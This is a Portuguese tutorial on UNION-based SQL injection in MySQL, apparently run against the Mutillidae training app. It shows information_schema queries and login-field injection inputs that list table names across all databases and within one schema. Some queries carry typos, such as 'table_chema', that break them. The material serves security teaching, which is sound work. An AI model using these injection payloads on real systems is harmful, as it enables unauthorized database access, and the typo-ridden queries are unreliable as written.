MySQL

Identificar Tabelas do Banco de Dados

Identificar Tabelas do Banco de Dados

Em MySQL, schema é sinónimo de banco de dados. Para seleccionar o nome das tabelas de todos os bancos de dados / schemas, podemos usar algo parecido com a query abaixo:

Query: `SELECT table_name, table_chema FROM information_schema.tables;`
Resultado: Users, Webapp_DB
Transactions, Webapp_DB
Music, Festival_DB
Artist, Festibal_DB

Apenas é possível se o usuário tiver permissões!

Se quisermos seleccionar o nome das tabelas de um banco de dados / schema especifica, podemos usar a seguinte query:

Query: `SELECT table_name, table_chema FROM information_schema.tables WHERE information.schema="Music";`
Resultado: Music, Festival_DB
Artist, Festibal_DB

Identificar Tabelas do Banco de Dados

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

Vamos agora adaptar a injeção para através das colunas mostradas pela aplicação web, descobrirmos o nome das tabelas de todos os bancos de dados.

Input: nome= ' UNION SELECT 1, table_name, table_schema, null, null, null, 7 FROM information_schema.tables # password=
Query: SELECT * FROM accounts WHERE username='' UNION SELECT 1, table_name, table_schema, null, null, null, 7 FROM information_schema.tables #' AND password='';

Identificar Tabelas do Banco de Dados

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

Vamos agora adaptar a injeção para através das colunas mostradas pela aplicação web, descobrirmos o nome das tabelas do banco de dados "mutillidae".

Input: nome= ' UNION SELECT 1, table_name, null, null, null, null, 7 FROM information_schema.tables WHERE table_schema='mutillidae' # password=
Query: SELECT * FROM accounts WHERE username='' UNION SELECT 1, table_name, null, null, null, null, 7 FROM information_schema.tables WHERE table_schema='mutillidae' #' AND password='';